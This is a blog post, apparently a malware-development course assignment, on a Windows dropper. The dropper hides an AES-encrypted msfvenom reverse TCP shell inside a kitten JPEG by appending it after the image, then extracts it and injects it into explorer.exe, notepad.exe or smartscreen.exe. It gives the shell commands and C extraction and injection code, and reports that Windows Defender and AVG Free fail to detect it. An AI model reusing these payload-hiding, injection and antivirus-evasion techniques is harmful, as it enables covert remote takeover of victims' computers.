Hello and welcome back to the 2nd assignment of the well done course on Malware Development by Sektor7, in the previous blog post we saw PE injection using a payload saved as a favicon.ico file, with all the functions and payload encrypted with AES. The next assignment is to hide the payload inside an image and implement the dropper with the capacity of extraction of the payload and injecting it in the PE process target.
Let’s start taking our last dropper and check what we have and what we must change.
The most of the code is working pretty well as we saw, but the payload extraction has to be changed because now reenz0h asked to hide the payload inside an image and extract it before injecting in the victim process, so take a look closer to the payload memory loading and analyze what we have to change.
First of all we need to choose how hide our payload behind an image and most important how we want to extract it before using it.
The hint in the assignemt page sais we can use file concatenation. So we choosed this way to work (a big thank you to reenz0h for the help):
- Take a kitties image from internet (who doesn’t love kitties? :))
- Create the payload with msfvenom
- in this case I choosed a simple reverse tcp windows x64 shell
- Encrypt the payload with AES
- Append the encrypted payload at the end of the image
- Append the original lenght of image as last bytes in the image
Once we downloaded the kitties image from internet we can check last 11 rows of the hexadecimal values of the image with
xxd -g1 U.jpg | tail -11 00330990: 81 f1 c0 8a b8 e5 e3 18 00 0e 13 62 25 25 3c 4d ...........b%%<M 003309a0: f6 02 dc e7 98 fc 6f f6 62 59 5f c2 31 93 3c e2 ......o.bY_.1.<. 003309b0: 85 80 12 07 53 ba 85 c9 20 fe 97 e3 7c 0d c0 03 ....S... ...|... 003309c0: 96 d0 65 4f 89 a7 aa 78 21 2a 0a 58 29 2a b1 1a ..eO...x!*.X)*.. 003309d0: 6f 73 6c 08 53 2d e1 95 45 55 3c d3 4a 9f 09 0b osl.S-..EU<.J... 003309e0: 1a 46 a3 cc 08 bf 37 bb 17 14 98 c8 38 9e eb 48 .F....7.....8..H 003309f0: 6a 94 92 4e a5 ac 8e 53 74 82 6d f6 fc 7c b0 51 j..N...St.m..|.Q 00330a00: 44 77 c8 1a 70 d2 57 c8 90 db 7a b4 bc 06 d6 e6 Dw..p.W...z..... 00330a10: 4a f5 95 03 ea ed 6e 1f 8e 08 a9 8f 2f 24 b6 f3 J.....n...../$.. 00330a20: 7a 65 63 ae a5 cb ea 59 17 d1 60 b4 f3 a9 44 6e zec....Y..`...Dn 00330a30: 3a e2 56 ce 6c e3 76 41 16 d0 cf ff d9 :.V.l.vA.....
Now after the encryption of the payload we can use a copy of the original image (is usefull to work on a copy just in case something doesn’t work as exepected, you don’t have to download the image everytime) and append the encrypted paylaod to the image with the
cat payload_enc >> kittens.jpg
Now check the tail of the image compared with the encrypted payload to see if everithing is loaded correctly
As we can see after the hex values
ff d9 (that’s in the end of every jpg file) we have our encrypted payload.
After that we have to append the value of the size of the original image, in this case 3344957 bytes
echo "3344957" >> kittens.jpg
Check again the last hex values of the manipulated jpg
Great! our devil jpg is ready. Now we have to modify our dropper to extract the payload from the image in our victim machine
Let’s change the name of the payload as a recource by the file
#include "resources.h" IMAGE RCDATA kittens.jpg
The dropper has a section where the payload is loaded as a resource with the
LoadResource functions, its lenght is calculated with
SizeofResource then it is loaded in memory with the
... // Extract payload from resources section res = pFindResourceA(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA); resHandle = pLoadResource(NULL, res); payload = (char *) pLockResource(resHandle); payload_len = pSizeofResource(NULL, res); // Allocate some memory buffer for payload exec_mem = pVirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ...
In the code trunk below the Windows functions are called as pointers because of AES encryption as saw in the previous post, this techniques works very well as an AV evasion technique so we can reuse it. Now we have to change this section like this
// Load resources section res = pFindResourceA(NULL, MAKEINTRESOURCE(IMAGE), RT_RCDATA); resHandle = pLoadResource(NULL, res); // Extract payload from the image image = (char*)pLockResource(resHandle); // lock the resource and point to the first char of the jpg image_len = SizeofResource(NULL, res); // get the size of the jpg + payload + last 7 bytes end = image + image_len - 7; // jump to the end of the jpg and read the last 7 bytes that are the original size of the jpg without payload size = atoi(end); // cast from char to int, now size is the original size of the jpg offset = image + size; // offset points to the first char of the p0 payload_len = image_len - size - 7; // calculate the payload size memcpy(payload, offset, payload_len); // copy in another memory area the effective payload // Allocate some memory buffer for payload exec_mem = pVirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
Long story short, instead of charging the payload from a separated file we need to:
- get the size of the devil image,
- jump at the end of the devil image and read the last 7 bytes that are the size of the orginal image
- now we can calculate the offset from the original image and the devil image, this difference is the payload
- now we need to calculate the payload lenght
- use memcpy to load the payload in memory and use it as a resource
As in the previous post we tested the dropper on different process:
smartscreen.exe but in this case all the 3 processes inject doesn’t trigger Windows Defender nor AVG Free, however the
explorer.exe injecton causes a reload of the process in the case you exit the shell on the attacking machine and this is very loud. On the other hand nothing appens when we try to inject the
notepad.exe, AVG scan the dropper and let it execute the reverse shell payload maintaining the shell active also when we close Notepad and the
notepad.exe process is destroyed, same story if we try to inject the
smartscreen.exe process, another reverse shell session is opened without any alarm from AVG.
So we are following the TOON rule (Two is One and One is None) also in this case.
Malware Dev Essentials Course